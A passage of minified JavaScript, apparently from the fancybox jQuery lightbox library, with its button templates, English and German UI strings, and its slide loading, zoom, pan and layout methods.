0 1 5.7 0 4 4 0 0 1 0 5.7 4 4 0 0 1-5.7 0z"/></svg></button>',close:'<button data-fancybox-close class="fancybox-button fancybox-button--close" title="{{CLOSE}}"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 10.6L6.6 5.2 5.2 6.6l5.4 5.4-5.4 5.4 1.4 1.4 5.4-5.4 5.4 5.4 1.4-1.4-5.4-5.4 5.4-5.4-1.4-1.4-5.4 5.4z"/></svg></button>',arrowLeft:'<button data-fancybox-prev class="fancybox-button fancybox-button--arrow_left" title="{{PREV}}"><div><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M11.28 15.7l-1.34 1.37L5 12l4.94-5.07 1.34 1.38-2.68 2.72H19v1.94H8.6z"/></svg></div></button>',arrowRight:'<button data-fancybox-next class="fancybox-button fancybox-button--arrow_right" title="{{NEXT}}"><div><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M15.4 12.97l-2.68 2.72 1.34 1.38L19 12l-4.94-5.07-1.34 1.38 2.68 2.72H5v1.94z"/></svg></div></button>',smallBtn:'<button type="button" data-fancybox-close class="fancybox-button fancybox-close-small" title="{{CLOSE}}"><svg xmlns="http://www.w3.org/2000/svg" version="1" viewBox="0 0 24 24"><path d="M13 12l5-5-1-1-5 5-5-5-1 1 5 5-5 5 1 1 5-5 5 5 1-1z"/></svg></button>'},parentEl:"body",hideScrollbar:!0,autoFocus:!0,backFocus:!0,trapFocus:!0,fullScreen:{autoStart:!1},touch:{vertical:!0,momentum:!0},hash:null,media:{},slideShow:{autoStart:!1,speed:3e3},thumbs:{autoStart:!1,hideOnClose:!0,parentEl:".fancybox-container",axis:"y"},wheel:"auto",onInit:n.noop,beforeLoad:n.noop,afterLoad:n.noop,beforeShow:n.noop,afterShow:n.noop,beforeClose:n.noop,afterClose:n.noop,onActivate:n.noop,onDeactivate:n.noop,clickContent:function(t,e){return"image"===t.type&&"zoom"},clickSlide:"close",clickOutside:"close",dblclickContent:!1,dblclickSlide:!1,dblclickOutside:!1,mobile:{preventCaptionOverlap:!1,idleTime:!1,clickContent:function(t,e){return"image"===t.type&&"toggleControls"},clickSlide:function(t,e){return"image"===t.type?"toggleControls":"close"},dblclickContent:function(t,e){return"image"===t.type&&"zoom"},dblclickSlide:function(t,e){return"image"===t.type&&"zoom"}},lang:"en",i18n:{en:{CLOSE:"Close",NEXT:"Next",PREV:"Previous",ERROR:"The requested content cannot be loaded. <br/> Please try again later.",PLAY_START:"Start slideshow",PLAY_STOP:"Pause slideshow",FULL_SCREEN:"Full screen",THUMBS:"Thumbnails",DOWNLOAD:"Download",SHARE:"Share",ZOOM:"Zoom"},de:{CLOSE:"Schlie&szlig;en",NEXT:"Weiter",PREV:"Zur&uuml;ck",ERROR:"Die angeforderten Daten konnten nicht geladen werden. <br/> Bitte versuchen Sie es sp&auml;ter nochmal.",PLAY_START:"Diaschau starten",PLAY_STOP:"Diaschau beenden",FULL_SCREEN:"Vollbild",THUMBS:"Vorschaubilder",DOWNLOAD:"Herunterladen",SHARE:"Teilen",ZOOM:"Vergr&ouml;&szlig;ern"}}},s=n(t),r=n(e),c=0,l=function(t){return t&&t.hasOwnProperty&&t instanceof n},d=function(){return t.requestAnimationFrame||t.webkitRequestAnimationFrame||t.mozRequestAnimationFrame||t.oRequestAnimationFrame||function(e){return t.setTimeout(e,1e3/60)}}(),u=function(){return t.cancelAnimationFrame||t.webkitCancelAnimationFrame||t.mozCancelAnimationFrame||t.oCancelAnimationFrame||function(e){t.clearTimeout(e)}}(),f=function(){var t,n=e.createElement("fakeelement"),o={transition:"transitionend",OTransition:"oTransitionEnd",MozTransition:"transitionend",WebkitTransition:"webkitTransitionEnd"};for(t in o)if(void 0!==n.style[t])return o[t];return"transitionend"}(),p=function(t){return t&&t.length&&t[0].offsetHeight},h=function(t,e){var o=n.extend(!0,{},t,e);return n.each(e,function(t,e){n.isArray(e)&&(o[t]=e)}),o},g=function(t){var o,i;return!(!t||t.ownerDocument!==e)&&(n(".fancybox-container").css("pointer-events","none"),o={x:t.getBoundingClientRect().left+t.offsetWidth/2,y:t.getBoundingClientRect().top+t.offsetHeight/2},i=e.elementFromPoint(o.x,o.y)===t,n(".fancybox-container").css("pointer-events",""),i)},b=function(t,e,o){var i=this;i.opts=h({index:o},n.fancybox.defaults),n.isPlainObject(e)&&(i.opts=h(i.opts,e)),n.fancybox.isMobile&&(i.opts=h(i.opts,i.opts.mobile)),i.id=i.opts.id||++c,i.currIndex=parseInt(i.opts.index,10)||0,i.prevIndex=null,i.prevPos=null,i.currPos=0,i.firstRun=!0,i.group=[],i.slides={},i.addContent(t),i.group.length&&i.init()};n.extend(b.prototype,{init:function(){var o,i,a=this,s=a.group[a.currIndex],r=s.opts;r.closeExisting&&n.fancybox.close(!0),n("body").addClass("fancybox-active"),!n.fancybox.getInstance()&&!1!==r.hideScrollbar&&!n.fancybox.isMobile&&e.body.scrollHeight>t.innerHeight&&(n("head").append('<style id="fancybox-style-noscroll" type="text/css">.compensate-for-scrollbar{margin-right:'+(t.innerWidth-e.documentElement.clientWidth)+"px;}</style>"),n("body").addClass("compensate-for-scrollbar")),i="",n.each(r.buttons,function(t,e){i+=r.btnTpl[e]||""}),o=n(a.translate(a,r.baseTpl.replace("{{buttons}}",i).replace("{{arrows}}",r.btnTpl.arrowLeft+r.btnTpl.arrowRight))).attr("id","fancybox-container-"+a.id).addClass(r.baseClass).data("FancyBox",a).appendTo(r.parentEl),a.$refs={container:o},["bg","inner","infobar","toolbar","stage","caption","navigation"].forEach(function(t){a.$refs[t]=o.find(".fancybox-"+t)}),a.trigger("onInit"),a.activate(),a.jumpTo(a.currIndex)},translate:function(t,e){var n=t.opts.i18n[t.opts.lang]||t.opts.i18n.en;return e.replace(/\{\{(\w+)\}\}/g,function(t,e){return void 0===n[e]?t:n[e]})},addContent:function(t){var e,o=this,i=n.makeArray(t);n.each(i,function(t,e){var i,a,s,r,c,l={},d={};n.isPlainObject(e)?(l=e,d=e.opts||e):"object"===n.type(e)&&n(e).length?(i=n(e),d=i.data()||{},d=n.extend(!0,{},d,d.options),d.$orig=i,l.src=o.opts.src||d.src||i.attr("href"),l.type||l.src||(l.type="inline",l.src=e)):l={type:"html",src:e+""},l.opts=n.extend(!0,{},o.opts,d),n.isArray(d.buttons)&&(l.opts.buttons=d.buttons),n.fancybox.isMobile&&l.opts.mobile&&(l.opts=h(l.opts,l.opts.mobile)),a=l.type||l.opts.type,r=l.src||"",!a&&r&&((s=r.match(/\.(mp4|mov|ogv|webm)((\?|#).*)?$/i))?(a="video",l.opts.video.format||(l.opts.video.format="video/"+("ogv"===s[1]?"ogg":s[1]))):r.match(/(^data:image\/[a-z0-9+\/=]*,)|(\.(jp(e|g|eg)|gif|png|bmp|webp|svg|ico)((\?|#).*)?$)/i)?a="image":r.match(/\.(pdf)((\?|#).*)?$/i)?(a="iframe",l=n.extend(!0,l,{contentType:"pdf",opts:{iframe:{preload:!1}}})):"#"===r.charAt(0)&&(a="inline")),a?l.type=a:o.trigger("objectNeedsType",l),l.contentType||(l.contentType=n.inArray(l.type,["html","inline","ajax"])>-1?"html":l.type),l.index=o.group.length,"auto"==l.opts.smallBtn&&(l.opts.smallBtn=n.inArray(l.type,["html","inline","ajax"])>-1),"auto"===l.opts.toolbar&&(l.opts.toolbar=!l.opts.smallBtn),l.$thumb=l.opts.$thumb||null,l.opts.$trigger&&l.index===o.opts.index&&(l.$thumb=l.opts.$trigger.find("img:first"),l.$thumb.length&&(l.opts.$orig=l.opts.$trigger)),l.$thumb&&l.$thumb.length||!l.opts.$orig||(l.$thumb=l.opts.$orig.find("img:first")),l.$thumb&&!l.$thumb.length&&(l.$thumb=null),l.thumb=l.opts.thumb||(l.$thumb?l.$thumb[0].src:null),"function"===n.type(l.opts.caption)&&(l.opts.caption=l.opts.caption.apply(e,[o,l])),"function"===n.type(o.opts.caption)&&(l.opts.caption=o.opts.caption.apply(e,[o,l])),l.opts.caption instanceof n||(l.opts.caption=void 0===l.opts.caption?"":l.opts.caption+""),"ajax"===l.type&&(c=r.split(/\s+/,2),c.length>1&&(l.src=c.shift(),l.opts.filter=c.shift())),l.opts.modal&&(l.opts=n.extend(!0,l.opts,{trapFocus:!0,infobar:0,toolbar:0,smallBtn:0,keyboard:0,slideShow:0,fullScreen:0,thumbs:0,touch:0,clickContent:!1,clickSlide:!1,clickOutside:!1,dblclickContent:!1,dblclickSlide:!1,dblclickOutside:!1})),o.group.push(l)}),Object.keys(o.slides).length&&(o.updateControls(),(e=o.Thumbs)&&e.isActive&&(e.create(),e.focus()))},addEvents:function(){var e=this;e.removeEvents(),e.$refs.container.on("click.fb-close","[data-fancybox-close]",function(t){t.stopPropagation(),t.preventDefault(),e.close(t)}).on("touchstart.fb-prev click.fb-prev","[data-fancybox-prev]",function(t){t.stopPropagation(),t.preventDefault(),e.previous()}).on("touchstart.fb-next click.fb-next","[data-fancybox-next]",function(t){t.stopPropagation(),t.preventDefault(),e.next()}).on("click.fb","[data-fancybox-zoom]",function(t){e[e.isScaledDown()?"scaleToActual":"scaleToFit"]()}),s.on("orientationchange.fb resize.fb",function(t){t&&t.originalEvent&&"resize"===t.originalEvent.type?(e.requestId&&u(e.requestId),e.requestId=d(function(){e.update(t)})):(e.current&&"iframe"===e.current.type&&e.$refs.stage.hide(),setTimeout(function(){e.$refs.stage.show(),e.update(t)},n.fancybox.isMobile?600:250))}),r.on("keydown.fb",function(t){var o=n.fancybox?n.fancybox.getInstance():null,i=o.current,a=t.keyCode||t.which;if(9==a)return void(i.opts.trapFocus&&e.focus(t));if(!(!i.opts.keyboard||t.ctrlKey||t.altKey||t.shiftKey||n(t.target).is("input,textarea,video,audio,select")))return 8===a||27===a?(t.preventDefault(),void e.close(t)):37===a||38===a?(t.preventDefault(),void e.previous()):39===a||40===a?(t.preventDefault(),void e.next()):void e.trigger("afterKeydown",t,a)}),e.group[e.currIndex].opts.idleTime&&(e.idleSecondsCounter=0,r.on("mousemove.fb-idle mouseleave.fb-idle mousedown.fb-idle touchstart.fb-idle touchmove.fb-idle scroll.fb-idle keydown.fb-idle",function(t){e.idleSecondsCounter=0,e.isIdle&&e.showControls(),e.isIdle=!1}),e.idleInterval=t.setInterval(function(){++e.idleSecondsCounter>=e.group[e.currIndex].opts.idleTime&&!e.isDragging&&(e.isIdle=!0,e.idleSecondsCounter=0,e.hideControls())},1e3))},removeEvents:function(){var e=this;s.off("orientationchange.fb resize.fb"),r.off("keydown.fb .fb-idle"),this.$refs.container.off(".fb-close .fb-prev .fb-next"),e.idleInterval&&(t.clearInterval(e.idleInterval),e.idleInterval=null)},previous:function(t){return this.jumpTo(this.currPos-1,t)},next:function(t){return this.jumpTo(this.currPos+1,t)},jumpTo:function(t,e){var o,i,a,s,r,c,l,d,u,f=this,h=f.group.length;if(!(f.isDragging||f.isClosing||f.isAnimating&&f.firstRun)){if(t=parseInt(t,10),!(a=f.current?f.current.opts.loop:f.opts.loop)&&(t<0||t>=h))return!1;if(o=f.firstRun=!Object.keys(f.slides).length,r=f.current,f.prevIndex=f.currIndex,f.prevPos=f.currPos,s=f.createSlide(t),h>1&&((a||s.index<h-1)&&f.createSlide(t+1),(a||s.index>0)&&f.createSlide(t-1)),f.current=s,f.currIndex=s.index,f.currPos=s.pos,f.trigger("beforeShow",o),f.updateControls(),s.forcedDuration=void 0,n.isNumeric(e)?s.forcedDuration=e:e=s.opts[o?"animationDuration":"transitionDuration"],e=parseInt(e,10),i=f.isMoved(s),s.$slide.addClass("fancybox-slide--current"),o)return s.opts.animationEffect&&e&&f.$refs.container.css("transition-duration",e+"ms"),f.$refs.container.addClass("fancybox-is-open").trigger("focus"),f.loadSlide(s),void f.preload("image");c=n.fancybox.getTranslate(r.$slide),l=n.fancybox.getTranslate(f.$refs.stage),n.each(f.slides,function(t,e){n.fancybox.stop(e.$slide,!0)}),r.pos!==s.pos&&(r.isComplete=!1),r.$slide.removeClass("fancybox-slide--complete fancybox-slide--current"),i?(u=c.left-(r.pos*c.width+r.pos*r.opts.gutter),n.each(f.slides,function(t,o){o.$slide.removeClass("fancybox-animated").removeClass(function(t,e){return(e.match(/(^|\s)fancybox-fx-\S+/g)||[]).join(" ")});var i=o.pos*c.width+o.pos*o.opts.gutter;n.fancybox.setTranslate(o.$slide,{top:0,left:i-l.left+u}),o.pos!==s.pos&&o.$slide.addClass("fancybox-slide--"+(o.pos>s.pos?"next":"previous")),p(o.$slide),n.fancybox.animate(o.$slide,{top:0,left:(o.pos-s.pos)*c.width+(o.pos-s.pos)*o.opts.gutter},e,function(){o.$slide.css({transform:"",opacity:""}).removeClass("fancybox-slide--next fancybox-slide--previous"),o.pos===f.currPos&&f.complete()})})):e&&s.opts.transitionEffect&&(d="fancybox-animated fancybox-fx-"+s.opts.transitionEffect,r.$slide.addClass("fancybox-slide--"+(r.pos>s.pos?"next":"previous")),n.fancybox.animate(r.$slide,d,e,function(){r.$slide.removeClass(d).removeClass("fancybox-slide--next fancybox-slide--previous")},!1)),s.isLoaded?f.revealContent(s):f.loadSlide(s),f.preload("image")}},createSlide:function(t){var e,o,i=this;return o=t%i.group.length,o=o<0?i.group.length+o:o,!i.slides[t]&&i.group[o]&&(e=n('<div class="fancybox-slide"></div>').appendTo(i.$refs.stage),i.slides[t]=n.extend(!0,{},i.group[o],{pos:t,$slide:e,isLoaded:!1}),i.updateSlide(i.slides[t])),i.slides[t]},scaleToActual:function(t,e,o){var i,a,s,r,c,l=this,d=l.current,u=d.$content,f=n.fancybox.getTranslate(d.$slide).width,p=n.fancybox.getTranslate(d.$slide).height,h=d.width,g=d.height;l.isAnimating||l.isMoved()||!u||"image"!=d.type||!d.isLoaded||d.hasError||(l.isAnimating=!0,n.fancybox.stop(u),t=void 0===t?.5*f:t,e=void 0===e?.5*p:e,i=n.fancybox.getTranslate(u),i.top-=n.fancybox.getTranslate(d.$slide).top,i.left-=n.fancybox.getTranslate(d.$slide).left,r=h/i.width,c=g/i.height,a=.5*f-.5*h,s=.5*p-.5*g,h>f&&(a=i.left*r-(t*r-t),a>0&&(a=0),a<f-h&&(a=f-h)),g>p&&(s=i.top*c-(e*c-e),s>0&&(s=0),s<p-g&&(s=p-g)),l.updateCursor(h,g),n.fancybox.animate(u,{top:s,left:a,scaleX:r,scaleY:c},o||366,function(){l.isAnimating=!1}),l.SlideShow&&l.SlideShow.isActive&&l.SlideShow.stop())},scaleToFit:function(t){var e,o=this,i=o.current,a=i.$content;o.isAnimating||o.isMoved()||!a||"image"!=i.type||!i.isLoaded||i.hasError||(o.isAnimating=!0,n.fancybox.stop(a),e=o.getFitPos(i),o.updateCursor(e.width,e.height),n.fancybox.animate(a,{top:e.top,left:e.left,scaleX:e.width/a.width(),scaleY:e.height/a.height()},t||366,function(){o.isAnimating=!1}))},getFitPos:function(t){var e,o,i,a,s=this,r=t.$content,c=t.$slide,l=t.width||t.opts.width,d=t.height||t.opts.height,u={};return!!(t.isLoaded&&r&&r.length)&&(e=n.fancybox.getTranslate(s.$refs.stage).width,o=n.fancybox.getTranslate(s.$refs.stage).height,e-=parseFloat(c.css("paddingLeft"))+parseFloat(c.css("paddingRight"))+parseFloat(r.css("marginLeft"))+parseFloat(r.css("marginRight")),o-=parseFloat(c.css("paddingTop"))+parseFloat(c.css("paddingBottom"))+parseFloat(r.css("marginTop"))+parseFloat(r.css("marginBottom")),l&&d||(l=e,d=o),i=Math.min(1,e/l,o/d),l*=i,d*=i,l>e-.5&&(l=e),d>o-.5&&(d=o),"image"===t.type?(u.top=Math.floor(.5*(o-d))+parseFloat(c.css("paddingTop")),u.left=Math.floor(.5*(e-l))+parseFloat(c.css("paddingLeft"))):"video"===t.contentType&&(a=t.opts.width&&t.opts.height?l/d:t.opts.ratio||16/9,d>l/a?d=l/a:l>d*a&&(l=d*a)),u.width=l,u.height=d,u)},update:function(t){var e=this;n.each(e.slides,function(n,o){e.updateSlide(o,t)})},updateSlide:function(t,e){var o=this,i=t&&t.$content,a=t.width||t.opts.width,s=t.height||t.opts.height,r=t.$slide;o.adjustCaption(t),i&&(a||s||"video"===t.contentType)&&!t.hasError&&(n.fancybox.stop(i),n.fancybox.setTranslate(i,o.getFitPos(t)),t.pos===o.currPos&&(o.isAnimating=!1,o.updateCursor())),o.adjustLayout(t),r.length&&(r.trigger("refresh"),t.pos===o.currPos&&o.$refs.toolbar.add(o.$refs.navigation.find(".fancybox-button--arrow_right")).toggleClass("compensate-for-scrollbar",r.get(0).scrollHeight>r.get(0).clientHeight)),o.trigger("onUpdate",t,e)},centerSlide:function(t){var e=this,o=e.current,i=o.$slide;!e.isClosing&&o&&(i.siblings().css({transform:"",opacity:""}),i.parent().children().removeClass("fancybox-slide--previous fancybox-slide--next"),n.fancybox.animate(i,{top:0,left:0,opacity:1},void 0===t?0:t,function(){i.css({transform:"",opacity:""}),o.isComplete||e.complete()},!1))},isMoved:function(t){var e,o,i=t||this.current;return!!i&&(o=n.fancybox.getTranslate(this.$refs.stage),e=n.fancybox.getTranslate(i.$slide),!i.$slide.hasClass("fancybox-animated")&&(Math.abs(e.top-o.top)>.5||Math.abs(e.left-o.left)>.5))},updateCursor:function(t,e){var o,i,a=this,s=a.current,r=a.$refs.container;s&&!a.isClosing&&a.Guestures&&(r.removeClass("fancybox-is-zoomable fancybox-can-zoomIn fancybox-can-zoomOut fancybox-can-swipe fancybox-can-pan"),o=a.canPan(t,e),i=!!o||a.isZoomable(),r.toggleClass("fancybox-is-zoomable",i),n("[data-fancybox-zoom]").prop("disabled",!i),o?r.addClass("fancybox-can-pan"):i&&("zoom"===s.opts.clickContent||n.isFunction(s.opts.clickContent)&&"zoom"==s.opts.clickContent(s))?r.addClass("fancybox-can-zoomIn"):s.opts.touch&&(s.opts.touch.vertical||a.group.length>1)&&"video"!==s.contentType&&r.addClass("fancybox-can-swipe"))},isZoomable:function(){var t,e=this,n=e.current;if(n&&!e.isClosing&&"image"===n.type&&!n.hasError){if(!n.isLoaded)return!0;if((t=e.getFitPos(n))&&(n.width>t.width||n.height>t.height))return!0}return!1},isScaledDown:function(t,e){var o=this,i=!1,a=o.current,s=a.$content;return void 0!==t&&void 0!==e?i=t<a.width&&e<a.height:s&&(i=n.fancybox.getTranslate(s),i=i.width<a.width&&i.height<a.height),i},canPan:function(t,e){var o=this,i=o.current,a=null,s=!1;return"image"===i.type&&(i.isComplete||t&&e)&&!i.hasError&&(s=o.getFitPos(i),void 0!==t&&void 0!==e?a={width:t,height:e}:i.isComplete&&(a=n.fancybox.getTranslate(i.$content)),a&&s&&(s=Math.abs(a.width-s.width)>1.5||Math.abs(a.height-s.height)>1.5)),s},loadSlide:function(t){var e,o,i,a=this;if(!t.isLoading&&!t.isLoaded){if(t.isLoading=!0,!1===a.trigger("beforeLoad",t))return t.isLoading=!1,!1;switch(e=t.type,o=t.$slide,o.off("refresh").trigger("onReset").addClass(t.opts.slideClass),e){case"image":a.setImage(t);break;case"iframe":a.setIframe(t);break;case"html":a.setContent(t,t.src||t.content);break;case"video":a.setContent(t,t.opts.video.tpl.replace(/\{\{src\}\}/gi,t.src).replace("{{format}}",t.opts.videoFormat||t.opts.video.format||"").replace("{{poster}}",t.thumb||""));break;case"inline":n(t.src).length?a.setContent(t,n(t.src)):a.setError(t);break;case"ajax":a.showLoading(t),i=n.ajax(n.extend({},t.opts.ajax.settings,{url:t.src,success:function(e,n){"success"===n&&a.setContent(t,e)},error:function(e,n){e&&"abort"!==n&&a.setError(t)}})),o.one("onReset",function(){i.abort()});break;default:a.setError(t)}return!0}},setImage:function(t){var o,i=this;setTimeout(function(){var e=t.$image;i.isClosing||!t.isLoading||e&&e.length&&e[0].complete||t.hasError||i.showLoading(t)},50),i.checkSrcset(t),t.$content=n('<div class="fancybox-content"></div>').addClass("fancybox-is-hidden").appendTo(t.$slide.addClass("fancybox-slide--image")),!1!==t.opts.preload&&t.opts.width&&t.opts.height&&t.thumb&&(t.width=t.opts.width,t.height=t.opts.height,o=e.createElement("img"),o.onerror=function(){n(this).remove(),t.$ghost=null},o.onload=function(){i.afterLoad(t)},t.$ghost=n(o).addClass("fancybox-image").appendTo(t.$content).attr("src",t.thumb)),i.setBigImage(t)},checkSrcset:function(e){var n,o,i,a,s=e.opts.srcset||e.opts.image.srcset;if(s){i=t.devicePixelRatio||1,a=t.innerWidth*i,o=s.split(",").map(function(t){var e={};return t.trim().split(/\s+/).forEach(function(t,n){var o=parseInt(t.substring(0,t.length-1),10);if(0===n)return e.url=t;o&&(e.value=o,e.postfix=t[t.length-1])}),e}),o.sort(function(t,e){return t.value-e.value});for(var r=0;r<o.length;r++){var c=o[r];if("w"===c.postfix&&c.value>=a||"x"===c.postfix&&c.value>=i){n=c;break}}!n&&o.length&&(n=o[o.length-1]),n&&(e.src=n.url,e.width&&e.height&&"w"==n.postfix&&(e.height=e.width/e.height*n.value,e.width=n.value),e.opts.srcset=s)}},setBigImage:function(t){var o=this,i=e.createElement("img"),a=n(i);t.$image=a.one("error",function(){o.setError(t)}).one("load",function(){var e;t.$ghost||(o.resolveImageSlideSize(t,this.naturalWidth,this.naturalHeight),o.afterLoad(t)),o.isClosing||(t.opts.srcset&&(e=t.opts.sizes,e&&"auto"!==e||(e=(t.width/t.height>1&&s.width()/s.height()>1?"100":Math.round(t.width/t.height*100))+"vw"),a.attr("sizes",e).attr("srcset",t.opts.srcset)),t.$ghost&&setTimeout(function(){t.$ghost&&!o.isClosing&&t.$ghost.hide()},Math.min(300,Math.max(1e3,t.height/1600))),o.hideLoading(t))}).addClass("fancybox-image").attr("src",t.src).appendTo(t.$content),(i.complete||"complete"==i.readyState)&&a.naturalWidth&&a.naturalHeight?a.trigger("load"):i.error&&a.trigger("error")},resolveImageSlideSize:function(t,e,n){var o=parseInt(t.opts.width,10),i=parseInt(t.opts.height,10);t.width=e,t.height=n,o>0&&(t.width=o,t.height=Math.floor(o*n/e)),i>0&&(t.width=Math.floor(i*e/n),t.height=i)},setIframe:function(t){var e,o=this,i=t.opts.iframe,a=t.$slide;t.$content=n('<div class="fancybox-content'+(i.preload?" fancybox-is-hidden":"")+'"></div>').css(i.css).appendTo(a),a.addClass("fancybox-slide--"+t.contentType),t.$iframe=e=n(i.tpl.replace(/\{rnd\}/g,(new Date).getTime())).attr(i.attr).appendTo(t.$content),i.preload?(o.showLoading(t),e.on("load.fb error.fb",function(e){this.isReady=1,t.$slide.trigger("refresh"),o.afterLoad(t)}),a.on("refresh.fb",function(){var n,o,s=t.$content,r=i.css.width,c=i.css.height;if(1===e[0].isReady){try{n=e.contents(),o=n.find("body")}catch(t){}o&&o.length&&o.children().length&&(a.css("overflow","visible"),s.css({width:"100%","max-width":"100%",height:"9999px"}),void 0===r&&(r=Math.ceil(Math.max(o[0].clientWidth,o.outerWidth(!0)))),s.css("width",r||"").css("max-width",""),void 0===c&&(c=Math.ceil(Math.max(o[0].clientHeight,o.outerHeight(!0)))),s.css("height",c||""),a.css("overflow","auto")),s.removeClass("fancybox-is-hidden")}})):o.afterLoad(t),e.attr("src",t.src),a.one("onReset",function(){try{n(this).find("iframe").hide().unbind().attr("src","//about:blank")}catch(t){}n(this).off("refresh.fb").empty(),t.isLoaded=!1,t.isRevealed=!1})},setContent:function(t,e){var o=this;o.isClosing||(o.hideLoading(t),t.$content&&n.fancybox.stop(t.$content),t.$slide.empty(),l(e)&&e.parent().length?((e.hasClass("fancybox-content")||e.parent().hasClass("fancybox-content"))&&e.parents(".fancybox-slide").trigger("onReset"),t.$placeholder=n("<div>").hide().insertAfter(e),e.css("display","inline-block")):t.hasError||("string"===n.type(e)&&(e=n("<div>").append(n.trim(e)).contents()),t.opts.filter&&(e=n("<div>").html(e).find(t.opts.filter))),t.$slide.one("onReset",function(){n(this).find("video,audio").trigger("pause"),t.$placeholder&&(t.$placeholder.after(e.removeClass("fancybox-content").hide()).remove(),t.$placeholder=null),t.$smallBtn&&(t.$smallBtn.remove(),t.$smallBtn=null),t.hasError||(n(this).empty(),t.isLoaded=!1,t.isRevealed=!1)}),n(e).appendTo(t.$slide),n(e).is("video,audio")&&(n(e).addClass("fancybox-video"),n(e).wrap("<div></div>"),t.contentType="video",t.opts.width=t.opts.width||n(e).attr("width"),t.opts.height=t.opts.height||n(e).attr("height")),t.$content=t.$slide.children().filter("div,form,main,video,audio,article,.fancybox-content").first(),t.$content.siblings().hide(),t.$content.length||(t.$content=t.$slide.wrapInner("<div></div>").children().first()),t.$content.addClass("fancybox-content"),t.$slide.addClass("fancybox-slide--"+t.contentType),o.afterLoad(t))},setError:function(t){t.hasError=!0,t.$slide.trigger("onReset").removeClass("fancybox-slide--"+t.contentType).addClass("fancybox-slide--error"),t.contentType="html",this.setContent(t,this.translate(t,t.opts.errorTpl)),t.pos===this.currPos&&(this.isAnimating=!1)},showLoading:function(t){var e=this;(t=t||e.current)&&!t.$spinner&&(t.$spinner=n(e.translate(e,e.opts.spinnerTpl)).appendTo(t.$slide).hide().fadeIn("fast"))},hideLoading:function(t){var e=this;(t=t||e.current)&&t.$spinner&&(t.$spinner.stop().remove(),delete t.$spinner)},afterLoad:function(t){var e=this;e.isClosing||(t.isLoading=!1,t.isLoaded=!0,e.trigger("afterLoad",t),e.hideLoading(t),!t.opts.smallBtn||t.$smallBtn&&t.$smallBtn.length||(t.$smallBtn=n(e.translate(t,t.opts.btnTpl.smallBtn)).appendTo(t.$content)),t.opts.protect&&t.$content&&!t.hasError&&(t.$content.on("contextmenu.fb",function(t){return 2==t.button&&t.preventDefault(),!0}),"image"===t.type&&n('<div class="fancybox-spaceball"></div>').appendTo(t.$content)),e.adjustCaption(t),e.adjustLayout(t),t.pos===e.currPos&&e.updateCursor(),e.revealContent(t))},adjustCaption:function(t){var e,n=this,o=t||n.current,i=o.opts.caption,a=o.opts.preventCaptionOverlap,s=n.$refs.caption,r=!1;s.toggleClass("fancybox-caption--separate",a),a&&i&&i.length&&(o.pos!==n.currPos?(e=s.clone().appendTo(s.parent()),e.children().eq(0).empty().html(i),r=e.outerHeight(!0),e.empty().remove()):n.$caption&&(r=n.$caption.outerHeight(!0)),o.$slide.css("padding-bottom",r||""))},adjustLayout:function(t){var e,n,o,i,a=this,s=t||a.current;s.isLoaded&&!0!==s.opts.disableLayoutFix&&(s.$content.css("margin-bottom",""),s.$content.outerHeight()>s.$slide.height()+.5&&(o=s.$slide[0].style["padding-bottom"],i=s.$slide.css("padding-bottom"),parseFloat(i)>0&&(e=s.$slide[0].scrollHeight,s.$slide.css("padding-bottom",0),Math.abs(e-s.$slide[0].scrollHeight)<1&&(n=i),s.$slide.css("padding-bottom",o))),s.$content.css("margin-bottom",n))},revealContent:function(t){var e,o,i,a,s=this,r=t.$slide,c=!1,l=!1,d=s.isMoved(t),u=t.isRevealed;return t.isRevealed=!0,e=t.opts[s.firstRun?"animationEffect":"transitionEffect"],i=t.opts[s.firstRun?"animationDuration":"transitionDuration"],i=parseInt(void 0===t.forcedDuration?i:t.forcedDuration,10),!d&&t.pos===s.currPos&&i||(e=!1),"zoom"===e&&(t.pos===s.currPos&&i&&"image"===t.type&&!t.hasError&&(l=s.getThumbPos(t))?c=s.getFitPos(t):e="fade"),"zoom"===e?(s.isAnimating=!0,c.scaleX=c.width/l.width,c.scaleY=c.height/l.height,a=t.opts.zoomOpacity,"auto"==a&&(a=Math.abs(t.width/t.height-l.width/l.height)>.1),a&&(l.opacity=.1,c.opacity=1),n.fancybox.setTranslate(t.$content.removeClass("fancybox-is-hidden"),l),p(t.$content),void n.fancybox.animate(t.$content,c,i,function(){s.isAnimating=!1,s.complete()})):(s.updateSlide(t),e?(n.fancybox.stop(r),o="fancybox-slide--"+(t.pos>=s.prevPos?"next":"previous")+" fancybox-animated fancybox-fx-"+e,r.addClass(o).removeClass("fancybox-slide--current"),t.$content.removeClass("fancybox-is-hidden"),p(r),"image"!==t.type&&t.$content.hide().show(0),void n.fancybox.animate(r,"fancybox-slide--current",i,function(){r.removeClass(o).css({transform:"",opacity:""}),t.pos===s.currPos&&s.complete()},!0)):(t.$content.removeClass("fancybox-is-hidden"),u||!d||"image"!==t.type||t.hasError||t.$content.hide().fadeIn("fast"),void(t.pos===s.currPos&&s.complete())))},getThumbPos:function(t){var e,o,i,a,s,r=!1,c=t.$thumb;return!(!c||!g(c[0]))&&(e=n.fancybox.getTranslate(c),o=parseFloat(c.css("border-top-width")||0),i=parseFloat(c.css("border-right-width")||0),a=parseFloat(c.css("border-bottom-width")||0),s=parseFloat(c.css("border-left-width")||0),r={top:e.top+o,left:e.left+s,width:e.width-i-s,height:e.height-o-a,scaleX:1,scaleY:1},e.width>0&&e.height>0&&r)},complete:function(){var t,e=this,o=e.current,i={};!e.isMoved()&&o.isLoaded&&(o.isComplete||(o.isComplete=!0,o.$slide.siblings().trigger("onReset"),e.preload("inline"),p(o.$slide),o.$slide.addClass("fancybox-slide--complete"),n.each(e.slides,function(t,o){o.pos>=e.currPos-1&&o.pos<=e.currPos+1?i[o.pos]=o:o&&(n.fancybox.stop(o.$slide),o.$slide.off().remove())}),e.slides=i),e.isAnimating=!1,e.updateCursor(),e.trigger("afterShow"),o.opts.video.autoStart&&o.$slide.find("video,audio").filter(":visible:first").trigger("play").one("ended",function(){Document.exitFullscreen?Document.exitFullscreen():this.webkitExitFullscreen&&this.webkitExitFullscreen(),e.next()}),o.opts.autoFocus&&"html"===o.contentType&&(t=o.$content.find("input[autofocus]:enabled:visible:first"),t.length?t.trigger("focus"):e.focus(null,!0)),o.$slide.scrollTop(0).scrollLeft(0))},preload:function(t){var 